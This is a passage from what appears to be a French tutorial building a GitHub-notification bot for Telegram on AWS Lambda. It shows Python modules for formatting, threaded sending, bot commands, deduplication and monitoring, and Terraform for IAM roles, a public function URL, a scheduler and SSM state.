\u0026#34;\\n\u0026#34;.join(lines) def _format_ci(notif: GitHubNotification, d: dict) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;Échec CI (CheckSuite ou workflow run).\u0026#34;\u0026#34;\u0026#34; workflow_raw = d.get(\u0026#34;name\u0026#34;) or d.get(\u0026#34;workflow\u0026#34;) or \u0026#34;CI\u0026#34; workflow_name = workflow_raw if isinstance(workflow_raw, str) else \u0026#34;CI\u0026#34; branch = d.get(\u0026#34;head_branch\u0026#34;) or \u0026#34;\u0026#34; conclusion = d.get(\u0026#34;conclusion\u0026#34;) or d.get(\u0026#34;status\u0026#34;) or \u0026#34;?\u0026#34; url = d.get(\u0026#34;html_url\u0026#34;) or _api_to_html_url(notif.subject_url) lines = [ f\u0026#34;❌ \u0026lt;b\u0026gt;CI failed\u0026lt;/b\u0026gt; — {_link(notif.repo_full_name, url)}\u0026#34;, f\u0026#34;\u0026lt;b\u0026gt;{_e(notif.subject_title)}\u0026lt;/b\u0026gt;\u0026#34;, f\u0026#34;Workflow: \u0026lt;code\u0026gt;{_e(workflow_name)}\u0026lt;/code\u0026gt;\u0026#34;, ] if branch: lines.append(f\u0026#34;Branch: \u0026lt;code\u0026gt;{_e(branch)}\u0026lt;/code\u0026gt;\u0026#34;) lines.append(f\u0026#34;Conclusion: \u0026lt;code\u0026gt;{_e(conclusion)}\u0026lt;/code\u0026gt;\u0026#34;) lines.append(f\u0026#34;\u0026lt;i\u0026gt;{_reason(notif.reason)}\u0026lt;/i\u0026gt;\u0026#34;) return \u0026#34;\\n\u0026#34;.join(lines) def _format_security(notif: GitHubNotification, d: dict) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;Alerte de sécurité Dependabot.\u0026#34;\u0026#34;\u0026#34; vuln = d.get(\u0026#34;security_vulnerability\u0026#34;) or {} severity = d.get(\u0026#34;severity\u0026#34;) or (vuln.get(\u0026#34;severity\u0026#34;) if isinstance(vuln, dict) else \u0026#34;?\u0026#34;) or \u0026#34;?\u0026#34; pkg = d.get(\u0026#34;affected_package_name\u0026#34;) or ( (vuln.get(\u0026#34;package\u0026#34;) or {}).get(\u0026#34;name\u0026#34;) if isinstance(vuln, dict) else \u0026#34;?\u0026#34; ) or \u0026#34;?\u0026#34; patched_raw = (vuln.get(\u0026#34;first_patched_version\u0026#34;) or {}) if isinstance(vuln, dict) else {} patched = patched_raw.get(\u0026#34;identifier\u0026#34;, \u0026#34;unknown\u0026#34;) if isinstance(patched_raw, dict) else str(patched_raw) url = d.get(\u0026#34;html_url\u0026#34;) or _api_to_html_url(notif.subject_url) lines = [ f\u0026#34;🛡️ \u0026lt;b\u0026gt;Security alert\u0026lt;/b\u0026gt; — {_link(notif.repo_full_name, url)}\u0026#34;, f\u0026#34;\u0026lt;b\u0026gt;{_e(notif.subject_title)}\u0026lt;/b\u0026gt;\u0026#34;, f\u0026#34;Severity: \u0026lt;code\u0026gt;{_e(severity)}\u0026lt;/code\u0026gt;\u0026#34;, f\u0026#34;Package: \u0026lt;code\u0026gt;{_e(pkg)}\u0026lt;/code\u0026gt;\u0026#34;, f\u0026#34;Patched in: \u0026lt;code\u0026gt;{_e(patched)}\u0026lt;/code\u0026gt;\u0026#34;, f\u0026#34;\u0026lt;i\u0026gt;{_reason(notif.reason)}\u0026lt;/i\u0026gt;\u0026#34;, ] return \u0026#34;\\n\u0026#34;.join(lines) def _format_discussion(notif: GitHubNotification, d: dict) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;Discussion GitHub.\u0026#34;\u0026#34;\u0026#34; author = (d.get(\u0026#34;user\u0026#34;) or {}).get(\u0026#34;login\u0026#34;, \u0026#34;?\u0026#34;) comments = d.get(\u0026#34;comments\u0026#34;, 0) category = d.get(\u0026#34;category\u0026#34;) or {} cat_name = category.get(\u0026#34;name\u0026#34;, \u0026#34;\u0026#34;) if isinstance(category, dict) else \u0026#34;\u0026#34; url = d.get(\u0026#34;html_url\u0026#34;) or _api_to_html_url(notif.subject_url) lines = [ f\u0026#34;🗣️ \u0026lt;b\u0026gt;Discussion\u0026lt;/b\u0026gt; — {_link(notif.repo_full_name, url)}\u0026#34;, f\u0026#34;\u0026lt;b\u0026gt;{_e(notif.subject_title)}\u0026lt;/b\u0026gt;\u0026#34;, f\u0026#34;By: \u0026lt;b\u0026gt;{_e(author)}\u0026lt;/b\u0026gt;\u0026#34;, f\u0026#34;Comments: {comments}\u0026#34;, ] if cat_name: lines.append(f\u0026#34;Category: \u0026lt;i\u0026gt;{_e(cat_name)}\u0026lt;/i\u0026gt;\u0026#34;) lines.append(f\u0026#34;\u0026lt;i\u0026gt;{_reason(notif.reason)}\u0026lt;/i\u0026gt;\u0026#34;) return \u0026#34;\\n\u0026#34;.join(lines) def _format_fallback(notif: GitHubNotification) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;Format générique pour les types non couverts.\u0026#34;\u0026#34;\u0026#34; url = _api_to_html_url(notif.subject_url) if notif.subject_url else \u0026#34;\u0026#34; lines = [ f\u0026#34;🔔 \u0026lt;b\u0026gt;{_e(notif.subject_type)}\u0026lt;/b\u0026gt; — \u0026lt;code\u0026gt;{_e(notif.repo_full_name)}\u0026lt;/code\u0026gt;\u0026#34;, f\u0026#34;\u0026lt;b\u0026gt;{_e(notif.subject_title)}\u0026lt;/b\u0026gt;\u0026#34;, f\u0026#34;\u0026lt;i\u0026gt;{_reason(notif.reason)}\u0026lt;/i\u0026gt;\u0026#34;, ] if url: lines.append(_link(\u0026#34;Voir sur GitHub\u0026#34;, url)) return \u0026#34;\\n\u0026#34;.join(lines) src/telegram_sender.py # Envoi via urllib.request (aucune dépendance externe). Gestion du threading : les notifications successives sur le même sujet (ex: plusieurs commentaires sur la même PR) sont envoyées en réponse au premier message, créant un thread dans Telegram. Le mapping subject_url → message_id est stocké en JSON dans SSM et nettoyé au bout de 7 jours.\n# src/telegram_sender.py import urllib.request import urllib.error import json import logging from datetime import datetime, timezone, timedelta import config from models import GitHubNotification logger = logging.getLogger(__name__) TELEGRAM_API = \u0026#34;https://api.telegram.org\u0026#34; THREAD_TTL_DAYS = 7 def _api_call(token: str, method: str, payload: dict) -\u0026gt; dict: \u0026#34;\u0026#34;\u0026#34;Appel générique à l\u0026#39;API Telegram Bot.\u0026#34;\u0026#34;\u0026#34; url = f\u0026#34;{TELEGRAM_API}/bot{token}/{method}\u0026#34; data = json.dumps(payload).encode() req = urllib.request.Request(url, data=data, method=\u0026#34;POST\u0026#34;) req.add_header(\u0026#34;Content-Type\u0026#34;, \u0026#34;application/json\u0026#34;) try: with urllib.request.urlopen(req) as resp: return json.loads(resp.read()) except urllib.error.HTTPError as e: body = e.read().decode() logger.error(f\u0026#34;Telegram API error {e.code} on {method}: {body}\u0026#34;) raise except Exception as e: logger.error(f\u0026#34;Unexpected error calling Telegram {method}: {e}\u0026#34;) raise def send_message( token: str, chat_id: str, text: str, reply_to: int = None, inline_keyboard: list = None, ) -\u0026gt; dict: \u0026#34;\u0026#34;\u0026#34;Envoie un message Telegram, retourne la réponse complète.\u0026#34;\u0026#34;\u0026#34; payload = { \u0026#34;chat_id\u0026#34;: chat_id, \u0026#34;text\u0026#34;: text, \u0026#34;parse_mode\u0026#34;: \u0026#34;HTML\u0026#34;, \u0026#34;disable_web_page_preview\u0026#34;: True, } if reply_to: payload[\u0026#34;reply_to_message_id\u0026#34;] = reply_to if inline_keyboard: payload[\u0026#34;reply_markup\u0026#34;] = {\u0026#34;inline_keyboard\u0026#34;: inline_keyboard} return _api_call(token, \u0026#34;sendMessage\u0026#34;, payload) def _load_thread_map() -\u0026gt; dict: \u0026#34;\u0026#34;\u0026#34;Charge le mapping subject_url → {message_id, timestamp} depuis SSM.\u0026#34;\u0026#34;\u0026#34; raw = config.get_state(\u0026#34;thread-map\u0026#34;, \u0026#34;{}\u0026#34;) try: return json.loads(raw) except (json.JSONDecodeError, TypeError): return {} def _save_thread_map(thread_map: dict) -\u0026gt; None: config.set_state(\u0026#34;thread-map\u0026#34;, json.dumps(thread_map)) def get_thread_id(subject_url: str) -\u0026gt; int | None: \u0026#34;\u0026#34;\u0026#34;Retourne le message_id du premier message pour ce sujet, ou None.\u0026#34;\u0026#34;\u0026#34; thread_map = _load_thread_map() entry = thread_map.get(subject_url) if not entry: return None return entry.get(\u0026#34;message_id\u0026#34;) def save_thread_id(subject_url: str, message_id: int) -\u0026gt; None: \u0026#34;\u0026#34;\u0026#34;Enregistre le message_id pour ce sujet et nettoie les entrées périmées.\u0026#34;\u0026#34;\u0026#34; thread_map = _load_thread_map() thread_map = _cleanup_old_threads(thread_map) thread_map[subject_url] = { \u0026#34;message_id\u0026#34;: message_id, \u0026#34;timestamp\u0026#34;: datetime.now(timezone.utc).isoformat(), } _save_thread_map(thread_map) def _cleanup_old_threads(thread_map: dict) -\u0026gt; dict: \u0026#34;\u0026#34;\u0026#34;Supprime les entrées vieilles de plus de THREAD_TTL_DAYS jours.\u0026#34;\u0026#34;\u0026#34; cutoff = datetime.now(timezone.utc) - timedelta(days=THREAD_TTL_DAYS) cleaned = {} for url, entry in thread_map.items(): try: ts = datetime.fromisoformat(entry[\u0026#34;timestamp\u0026#34;].replace(\u0026#34;Z\u0026#34;, \u0026#34;+00:00\u0026#34;)) if ts \u0026gt; cutoff: cleaned[url] = entry except Exception: pass # entrée malformée → on la supprime return cleaned def send_notification( notif: GitHubNotification, text: str, token: str, chat_id: str, ) -\u0026gt; None: \u0026#34;\u0026#34;\u0026#34; Envoie une notification. Si une notification précédente existe pour ce sujet, répond en thread. \u0026#34;\u0026#34;\u0026#34; reply_to = get_thread_id(notif.subject_url) if notif.subject_url else None try: resp = send_message(token, chat_id, text, reply_to=reply_to) if resp.get(\u0026#34;ok\u0026#34;) and notif.subject_url and not reply_to: # Premier message pour ce sujet : on sauvegarde l\u0026#39;ID pour les suivants message_id = resp[\u0026#34;result\u0026#34;][\u0026#34;message_id\u0026#34;] save_thread_id(notif.subject_url, message_id) except Exception as e: logger.error(f\u0026#34;Erreur envoi notification {notif.id}: {e}\u0026#34;) src/telegram_commands.py # 7 commandes disponibles : /help, /status, /mute, /unmute, /list, /pause, /resume.\n# src/telegram_commands.py import logging from datetime import datetime, timezone import config from telegram_sender import send_message logger = logging.getLogger(__name__) def parse_update(body: dict) -\u0026gt; dict | None: \u0026#34;\u0026#34;\u0026#34; Extrait les informations utiles d\u0026#39;un update Telegram. Retourne un dict {type, text, data} ou None si l\u0026#39;update est ignoré. \u0026#34;\u0026#34;\u0026#34; if not isinstance(body, dict): return None # Message classique (commande /xxx) if \u0026#34;message\u0026#34; in body: msg = body[\u0026#34;message\u0026#34;] text = msg.get(\u0026#34;text\u0026#34;, \u0026#34;\u0026#34;) if text.startswith(\u0026#34;/\u0026#34;): return {\u0026#34;type\u0026#34;: \u0026#34;command\u0026#34;, \u0026#34;text\u0026#34;: text.strip()} # Callback query (bouton inline) if \u0026#34;callback_query\u0026#34; in body: cq = body[\u0026#34;callback_query\u0026#34;] return {\u0026#34;type\u0026#34;: \u0026#34;callback\u0026#34;, \u0026#34;data\u0026#34;: cq.get(\u0026#34;data\u0026#34;, \u0026#34;\u0026#34;), \u0026#34;id\u0026#34;: cq.get(\u0026#34;id\u0026#34;)} return None def handle_command(update: dict, token: str, chat_id: str) -\u0026gt; None: \u0026#34;\u0026#34;\u0026#34;Dispatch une commande ou un callback vers le bon handler.\u0026#34;\u0026#34;\u0026#34; if update[\u0026#34;type\u0026#34;] == \u0026#34;callback\u0026#34;: _handle_callback(update, token, chat_id) return text = update[\u0026#34;text\u0026#34;] parts = text.split() command = parts[0].lower().split(\u0026#34;@\u0026#34;)[0] # /mute@botname → /mute args = parts[1:] if len(parts) \u0026gt; 1 else [] handlers = { \u0026#34;/help\u0026#34;: _cmd_help, \u0026#34;/status\u0026#34;: _cmd_status, \u0026#34;/mute\u0026#34;: _cmd_mute, \u0026#34;/unmute\u0026#34;: _cmd_unmute, \u0026#34;/list\u0026#34;: _cmd_list, \u0026#34;/pause\u0026#34;: _cmd_pause, \u0026#34;/resume\u0026#34;: _cmd_resume, } handler = handlers.get(command) if handler: handler(args, token, chat_id) else: send_message(token, chat_id, f\u0026#34;Commande inconnue : \u0026lt;code\u0026gt;{command}\u0026lt;/code\u0026gt;\\nTape /help pour la liste.\u0026#34;) def _handle_callback(update: dict, token: str, chat_id: str) -\u0026gt; None: \u0026#34;\u0026#34;\u0026#34;Gère les callbacks des boutons inline.\u0026#34;\u0026#34;\u0026#34; data = update.get(\u0026#34;data\u0026#34;, \u0026#34;\u0026#34;) if data == \u0026#34;pause\u0026#34;: _cmd_pause([], token, chat_id) def _cmd_help(args, token, chat_id): text = ( \u0026#34;🤖 \u0026lt;b\u0026gt;GitHub Notifier — Commandes disponibles\u0026lt;/b\u0026gt;\\n\\n\u0026#34; \u0026#34;/status — État du bot (dernier poll, rate limit)\\n\u0026#34; \u0026#34;/mute owner/repo — Mute un repo\\n\u0026#34; \u0026#34;/unmute owner/repo — Unmute un repo\\n\u0026#34; \u0026#34;/list — Liste des repos mutés\\n\u0026#34; \u0026#34;/pause — Pause le polling (les notifs s\u0026#39;accumulent sur GitHub)\\n\u0026#34; \u0026#34;/resume — Reprend le polling\\n\u0026#34; \u0026#34;/help — Affiche ce message\u0026#34; ) send_message(token, chat_id, text) def _cmd_status(args, token, chat_id): last_poll = config.get_state(\u0026#34;last-poll-timestamp\u0026#34;, \u0026#34;jamais\u0026#34;) rate_remaining = config.get_state(\u0026#34;rate-limit-remaining\u0026#34;, \u0026#34;?\u0026#34;) rate_reset_ts = config.get_state(\u0026#34;rate-limit-reset\u0026#34;, \u0026#34;\u0026#34;) paused = config.get_state(\u0026#34;paused\u0026#34;, \u0026#34;false\u0026#34;) crash_count = config.get_state(\u0026#34;crash-count\u0026#34;, \u0026#34;0\u0026#34;) # Calcul du délai depuis le dernier poll delay_str = \u0026#34;\u0026#34; if last_poll != \u0026#34;jamais\u0026#34;: try: last_dt = datetime.fromisoformat(last_poll.replace(\u0026#34;Z\u0026#34;, \u0026#34;+00:00\u0026#34;)) delta = datetime.now(timezone.utc) - last_dt days = delta.days hours, rem = divmod(delta.seconds, 3600) mins, _ = divmod(rem, 60) if days \u0026gt; 0: delay_str = f\u0026#34;{days}j {hours}h\u0026#34; elif hours \u0026gt; 0: delay_str = f\u0026#34;{hours}h {mins}m\u0026#34; else: delay_str = f\u0026#34;{mins}m\u0026#34; except Exception: delay_str = \u0026#34;?\u0026#34; status_emoji = \u0026#34;⏸️\u0026#34; if paused.lower() == \u0026#34;true\u0026#34; else \u0026#34;✅\u0026#34; crash_emoji = \u0026#34;🔴\u0026#34; if int(crash_count) \u0026gt; 0 else \u0026#34;✅\u0026#34; text = ( f\u0026#34;{status_emoji} \u0026lt;b\u0026gt;État du bot\u0026lt;/b\u0026gt;\\n\\n\u0026#34; f\u0026#34;Statut: {\u0026#39;\u0026lt;b\u0026gt;En pause\u0026lt;/b\u0026gt;\u0026#39; if paused.lower() == \u0026#39;true\u0026#39; else \u0026#39;Actif\u0026#39;}\\n\u0026#34; f\u0026#34;Dernier poll: {delay_str or last_poll}\\n\u0026#34; f\u0026#34;Rate limit restant: \u0026lt;code\u0026gt;{rate_remaining}\u0026lt;/code\u0026gt; req/h\\n\u0026#34; f\u0026#34;{crash_emoji} Crashes consécutifs: {crash_count}\u0026#34; ) send_message(token, chat_id, text) def _cmd_mute(args, token, chat_id): if not args: send_message(token, chat_id, \u0026#34;Usage: /mute owner/repo\u0026#34;) return repo = args[0] if \u0026#34;/\u0026#34; not in repo: send_message(token, chat_id, \u0026#34;Format attendu: owner/repo (ex: /mute torvalds/linux)\u0026#34;) return muted = config.get_muted_repos() if repo in muted: send_message(token, chat_id, f\u0026#34;\u0026lt;code\u0026gt;{repo}\u0026lt;/code\u0026gt; est déjà muté.\u0026#34;) return muted.append(repo) config.set_muted_repos(muted) send_message(token, chat_id, f\u0026#34;🔇 \u0026lt;code\u0026gt;{repo}\u0026lt;/code\u0026gt; muté. Tu ne recevras plus de notifications pour ce repo.\u0026#34;) def _cmd_unmute(args, token, chat_id): if not args: send_message(token, chat_id, \u0026#34;Usage: /unmute owner/repo\u0026#34;) return repo = args[0] muted = config.get_muted_repos() if repo not in muted: send_message(token, chat_id, f\u0026#34;\u0026lt;code\u0026gt;{repo}\u0026lt;/code\u0026gt; n\u0026#39;est pas dans la liste des repos mutés.\u0026#34;) return muted.remove(repo) config.set_muted_repos(muted) send_message(token, chat_id, f\u0026#34;🔔 \u0026lt;code\u0026gt;{repo}\u0026lt;/code\u0026gt; démuté.\u0026#34;) def _cmd_list(args, token, chat_id): muted = config.get_muted_repos() if not muted: send_message(token, chat_id, \u0026#34;Aucun repo muté.\u0026#34;) return repos_str = \u0026#34;\\n\u0026#34;.join(f\u0026#34;• \u0026lt;code\u0026gt;{r}\u0026lt;/code\u0026gt;\u0026#34; for r in muted) send_message(token, chat_id, f\u0026#34;🔇 \u0026lt;b\u0026gt;Repos mutés :\u0026lt;/b\u0026gt;\\n{repos_str}\u0026#34;) def _cmd_pause(args, token, chat_id): config.set_state(\u0026#34;paused\u0026#34;, \u0026#34;true\u0026#34;) send_message( token, chat_id, \u0026#34;⏸️ Bot en pause. Les notifications s\u0026#39;accumulent sur GitHub.\\n\u0026#34; \u0026#34;Tape /resume pour reprendre (toutes les notifs en attente seront envoyées).\u0026#34;, ) def _cmd_resume(args, token, chat_id): config.set_state(\u0026#34;paused\u0026#34;, \u0026#34;false\u0026#34;) send_message(token, chat_id, \u0026#34;▶️ Bot repris. Prochain poll dans 2 minutes.\u0026#34;) src/dedup.py # Regroupe les notifications portant sur le même subject_url en un seul message condensé pour éviter le spam.\n# src/dedup.py import html as _html from models import GitHubNotification from formatters import REASON_LABELS, _e, _link, _api_to_html_url def group_notifications(notifications: list[GitHubNotification]) -\u0026gt; list[list[GitHubNotification]]: \u0026#34;\u0026#34;\u0026#34; Regroupe les notifications par subject_url. Retourne une liste de groupes, chaque groupe = liste de notifications sur le même sujet. \u0026#34;\u0026#34;\u0026#34; seen: dict[str, list[GitHubNotification]] = {} order: list[str] = [] for notif in notifications: key = notif.subject_url or notif.id if key not in seen: seen[key] = [] order.append(key) seen[key].append(notif) return [seen[k] for k in order] def format_grouped(notifs: list[GitHubNotification]) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34; Format condensé pour plusieurs notifications sur le même sujet. Ex: 3 activités sur la PR #42 \u0026#34;\u0026#34;\u0026#34; first = notifs[0] url = _api_to_html_url(first.subject_url) if first.subject_url else \u0026#34;\u0026#34; count = len(notifs) repo_link = _link(first.repo_full_name, url) if url else f\u0026#34;\u0026lt;code\u0026gt;{_e(first.repo_full_name)}\u0026lt;/code\u0026gt;\u0026#34; lines = [ f\u0026#34;🔔 \u0026lt;b\u0026gt;{count} nouvelles activités\u0026lt;/b\u0026gt; — {repo_link}\u0026#34;, f\u0026#34;\u0026lt;b\u0026gt;{_e(first.subject_title)}\u0026lt;/b\u0026gt;\u0026#34;, \u0026#34;\u0026#34;, ] for notif in notifs: reason_label = REASON_LABELS.get(notif.reason, f\u0026#34;🔔 {notif.reason}\u0026#34;) lines.append(f\u0026#34;• {reason_label}\u0026#34;) return \u0026#34;\\n\u0026#34;.join(lines) src/monitoring.py # Surveille le rate limit GitHub et un compteur de crashes consécutifs. Une alerte est envoyée si le rate limit descend sous 500 requêtes restantes (avec un bouton pour mettre le bot en pause), ou si la Lambda crashe 3 fois de suite.\n# src/monitoring.py import logging import config from telegram_sender import send_message logger = logging.getLogger(__name__) RATE_LIMIT_ALERT_THRESHOLD = 500 CRASH_ALERT_THRESHOLD = 3 def check_rate_limit(remaining: int, token: str, chat_id: str) -\u0026gt; None: \u0026#34;\u0026#34;\u0026#34;Alerte si le rate limit GitHub est sous le seuil.\u0026#34;\u0026#34;\u0026#34; if remaining \u0026gt; RATE_LIMIT_ALERT_THRESHOLD: return logger.warning(f\u0026#34;Rate limit bas : {remaining} requêtes restantes\u0026#34;) # Bouton inline pour mettre en pause d\u0026#39;un clic keyboard = [[{ \u0026#34;text\u0026#34;: \u0026#34;⏸️ Pause le bot\u0026#34;, \u0026#34;callback_data\u0026#34;: \u0026#34;pause\u0026#34;, }]] text = ( f\u0026#34;⚠️ \u0026lt;b\u0026gt;Rate limit GitHub bas\u0026lt;/b\u0026gt;\\n\\n\u0026#34; f\u0026#34;Il reste \u0026lt;b\u0026gt;{remaining}\u0026lt;/b\u0026gt; requêtes sur 5 000.\\n\u0026#34; f\u0026#34;Le bot sera bloqué si le quota tombe à 0.\\n\\n\u0026#34; f\u0026#34;Tu peux mettre le bot en pause pour économiser le quota \u0026#34; f\u0026#34;(les notifs s\u0026#39;accumulent sur GitHub et seront envoyées au resume).\u0026#34; ) try: send_message(token, chat_id, text, inline_keyboard=keyboard) except Exception as e: logger.error(f\u0026#34;Impossible d\u0026#39;envoyer l\u0026#39;alerte rate limit: {e}\u0026#34;) def increment_crash_counter() -\u0026gt; int: \u0026#34;\u0026#34;\u0026#34;Incrémente le crash counter et retourne la nouvelle valeur.\u0026#34;\u0026#34;\u0026#34; current = int(config.get_state(\u0026#34;crash-count\u0026#34;, \u0026#34;0\u0026#34;)) new_count = current + 1 config.set_state(\u0026#34;crash-count\u0026#34;, str(new_count)) logger.error(f\u0026#34;Crash counter: {new_count}\u0026#34;) return new_count def reset_crash_counter() -\u0026gt; None: \u0026#34;\u0026#34;\u0026#34;Remet le crash counter à 0 après un succès.\u0026#34;\u0026#34;\u0026#34; current = config.get_state(\u0026#34;crash-count\u0026#34;, \u0026#34;0\u0026#34;) if current != \u0026#34;0\u0026#34;: config.set_state(\u0026#34;crash-count\u0026#34;, \u0026#34;0\u0026#34;) def alert_crash(count: int) -\u0026gt; None: \u0026#34;\u0026#34;\u0026#34;Envoie une alerte Telegram après N crashes consécutifs.\u0026#34;\u0026#34;\u0026#34; try: token = config.get_telegram_token() chat_id = config.get_telegram_chat_id() text = ( f\u0026#34;🔴 \u0026lt;b\u0026gt;Lambda en échec\u0026lt;/b\u0026gt;\\n\\n\u0026#34; f\u0026#34;La Lambda a crashé \u0026lt;b\u0026gt;{count} fois de suite\u0026lt;/b\u0026gt;.\\n\u0026#34; f\u0026#34;Vérifie les logs CloudWatch pour diagnostiquer.\\n\\n\u0026#34; f\u0026#34;\u0026lt;code\u0026gt;aws logs tail /aws/lambda/github-notifier --follow\u0026lt;/code\u0026gt;\u0026#34; ) send_message(token, chat_id, text) except Exception as e: logger.error(f\u0026#34;Impossible d\u0026#39;envoyer l\u0026#39;alerte crash: {e}\u0026#34;) requirements.txt # # Aucune dépendance externe. # On utilise uniquement : # - urllib.request (stdlib Python) # - boto3 (préinstallé dans le runtime Lambda python3.12) Étape 5 — Le Terraform # terraform/main.tf # # terraform/main.tf terraform { required_providers { aws = { source = \u0026#34;hashicorp/aws\u0026#34; version = \u0026#34;~\u0026gt; 5.0\u0026#34; } } } provider \u0026#34;aws\u0026#34; { region = var.aws_region } # Package le répertoire src/ en ZIP pour le déploiement Lambda data \u0026#34;archive_file\u0026#34; \u0026#34;lambda_zip\u0026#34; { type = \u0026#34;zip\u0026#34; source_dir = \u0026#34;${path.module}/../src\u0026#34; output_path = \u0026#34;${path.module}/lambda.zip\u0026#34; } terraform/variables.tf # # terraform/variables.tf variable \u0026#34;aws_region\u0026#34; { description = \u0026#34;Région AWS pour le déploiement\u0026#34; type = string default = \u0026#34;eu-west-3\u0026#34; } variable \u0026#34;ssm_prefix\u0026#34; { description = \u0026#34;Préfixe des paramètres SSM\u0026#34; type = string default = \u0026#34;/github-notifier\u0026#34; } variable \u0026#34;function_name\u0026#34; { description = \u0026#34;Nom de la Lambda function\u0026#34; type = string default = \u0026#34;github-notifier\u0026#34; } variable \u0026#34;poll_rate\u0026#34; { description = \u0026#34;Fréquence de polling EventBridge (ex: rate(2 minutes))\u0026#34; type = string default = \u0026#34;rate(2 minutes)\u0026#34; } terraform/outputs.tf # # terraform/outputs.tf output \u0026#34;function_url\u0026#34; { description = \u0026#34;URL publique de la Lambda (à utiliser comme webhook Telegram)\u0026#34; value = aws_lambda_function_url.notifier.function_url } output \u0026#34;lambda_arn\u0026#34; { description = \u0026#34;ARN de la Lambda\u0026#34; value = aws_lambda_function.notifier.arn } terraform/lambda.tf # # terraform/lambda.tf # ───────────────────────────────────────────── # IAM — Lambda # ───────────────────────────────────────────── resource \u0026#34;aws_iam_role\u0026#34; \u0026#34;lambda_role\u0026#34; { name = \u0026#34;${var.function_name}-lambda-role\u0026#34; assume_role_policy = jsonencode({ Version = \u0026#34;2012-10-17\u0026#34; Statement = [{ Effect = \u0026#34;Allow\u0026#34; Action = \u0026#34;sts:AssumeRole\u0026#34; Principal = { Service = \u0026#34;lambda.amazonaws.com\u0026#34; } }] }) } resource \u0026#34;aws_iam_role_policy\u0026#34; \u0026#34;lambda_policy\u0026#34; { name = \u0026#34;${var.function_name}-lambda-policy\u0026#34; role = aws_iam_role.lambda_role.id policy = jsonencode({ Version = \u0026#34;2012-10-17\u0026#34; Statement = [ { # Logs CloudWatch Effect = \u0026#34;Allow\u0026#34; Action = [ \u0026#34;logs:CreateLogGroup\u0026#34;, \u0026#34;logs:CreateLogStream\u0026#34;, \u0026#34;logs:PutLogEvents\u0026#34;, ] Resource = \u0026#34;arn:aws:logs:*:*:*\u0026#34; }, { # SSM : lecture et écriture des paramètres du bot Effect = \u0026#34;Allow\u0026#34; Action = [ \u0026#34;ssm:GetParameter\u0026#34;, \u0026#34;ssm:GetParameters\u0026#34;, \u0026#34;ssm:PutParameter\u0026#34;, ] Resource = \u0026#34;arn:aws:ssm:${var.aws_region}:*:parameter${var.ssm_prefix}/*\u0026#34; }, { # KMS : déchiffrement des SecureString Effect = \u0026#34;Allow\u0026#34; Action = [\u0026#34;kms:Decrypt\u0026#34;] Resource = \u0026#34;*\u0026#34; }, ] }) } # ───────────────────────────────────────────── # Lambda Function # ───────────────────────────────────────────── resource \u0026#34;aws_lambda_function\u0026#34; \u0026#34;notifier\u0026#34; { filename = data.archive_file.lambda_zip.output_path function_name = var.function_name role = aws_iam_role.lambda_role.arn handler = \u0026#34;lambda_function.lambda_handler\u0026#34; runtime = \u0026#34;python3.12\u0026#34; timeout = 30 memory_size = 128 source_code_hash = data.archive_file.lambda_zip.output_base64sha256 environment { variables = { SSM_PREFIX = var.ssm_prefix } } } # ───────────────────────────────────────────── # Function URL # ───────────────────────────────────────────── resource \u0026#34;aws_lambda_function_url\u0026#34; \u0026#34;notifier\u0026#34; { function_name = aws_lambda_function.notifier.function_name authorization_type = \u0026#34;NONE\u0026#34; } # ───────────────────────────────────────────── # Permissions Lambda — ATTENTION : deux permissions requises # # Depuis octobre 2025, AWS exige DEUX permissions distinctes pour qu\u0026#39;une # Function URL avec auth_type=NONE soit accessible publiquement. # Sans l\u0026#39;une d\u0026#39;elles, tu obtiens un 403 Forbidden même si l\u0026#39;URL est correcte. # La plupart des tutos en ligne ne mentionnent pas encore ce changement. # ───────────────────────────────────────────── # Permission 1 : invocation via Function URL (requête HTTP directe) resource \u0026#34;aws_lambda_permission\u0026#34; \u0026#34;function_url_invoke\u0026#34; { statement_id = \u0026#34;AllowFunctionURL\u0026#34; action = \u0026#34;lambda:InvokeFunctionUrl\u0026#34; function_name = aws_lambda_function.notifier.function_name principal = \u0026#34;*\u0026#34; function_url_auth_type = \u0026#34;NONE\u0026#34; } # Permission 2 : invocation générique (nécessaire depuis octobre 2025) resource \u0026#34;aws_lambda_permission\u0026#34; \u0026#34;public_invoke\u0026#34; { statement_id = \u0026#34;AllowPublicInvoke\u0026#34; action = \u0026#34;lambda:InvokeFunction\u0026#34; function_name = aws_lambda_function.notifier.function_name principal = \u0026#34;*\u0026#34; } # ───────────────────────────────────────────── # IAM — EventBridge Scheduler # ───────────────────────────────────────────── resource \u0026#34;aws_iam_role\u0026#34; \u0026#34;scheduler_role\u0026#34; { name = \u0026#34;${var.function_name}-scheduler-role\u0026#34; assume_role_policy = jsonencode({ Version = \u0026#34;2012-10-17\u0026#34; Statement = [{ Effect = \u0026#34;Allow\u0026#34; Action = \u0026#34;sts:AssumeRole\u0026#34; Principal = { Service = \u0026#34;scheduler.amazonaws.com\u0026#34; } }] }) } resource \u0026#34;aws_iam_role_policy\u0026#34; \u0026#34;scheduler_policy\u0026#34; { name = \u0026#34;${var.function_name}-scheduler-policy\u0026#34; role = aws_iam_role.scheduler_role.id policy = jsonencode({ Version = \u0026#34;2012-10-17\u0026#34; Statement = [{ Effect = \u0026#34;Allow\u0026#34; Action = \u0026#34;lambda:InvokeFunction\u0026#34; Resource = aws_lambda_function.notifier.arn }] }) } # ───────────────────────────────────────────── # EventBridge Scheduler # ───────────────────────────────────────────── resource \u0026#34;aws_scheduler_schedule\u0026#34; \u0026#34;poll\u0026#34; { name = \u0026#34;${var.function_name}-poll\u0026#34; flexible_time_window { mode = \u0026#34;OFF\u0026#34; } schedule_expression = var.poll_rate target { arn = aws_lambda_function.notifier.arn role_arn = aws_iam_role.scheduler_role.arn input = jsonencode({ source = \u0026#34;aws.scheduler\u0026#34; }) retry_policy { # maximum_retry_attempts = 0 : pas de double-invocation si la Lambda est lente maximum_retry_attempts = 0 } } } # ───────────────────────────────────────────── # SSM — Paramètres d\u0026#39;état # # lifecycle { ignore_changes = [value] } : Terraform crée les paramètres # avec les valeurs initiales mais ne les écrase jamais par la suite. # La Lambda met à jour ces valeurs en live ; un terraform apply ne doit # pas remettre l\u0026#39;état à zéro. # ───────────────────────────────────────────── resource \u0026#34;aws_ssm_parameter\u0026#34; \u0026#34;state_last_modified\u0026#34; { name = \u0026#34;${var.ssm_prefix}/state/last-modified\u0026#34; type = 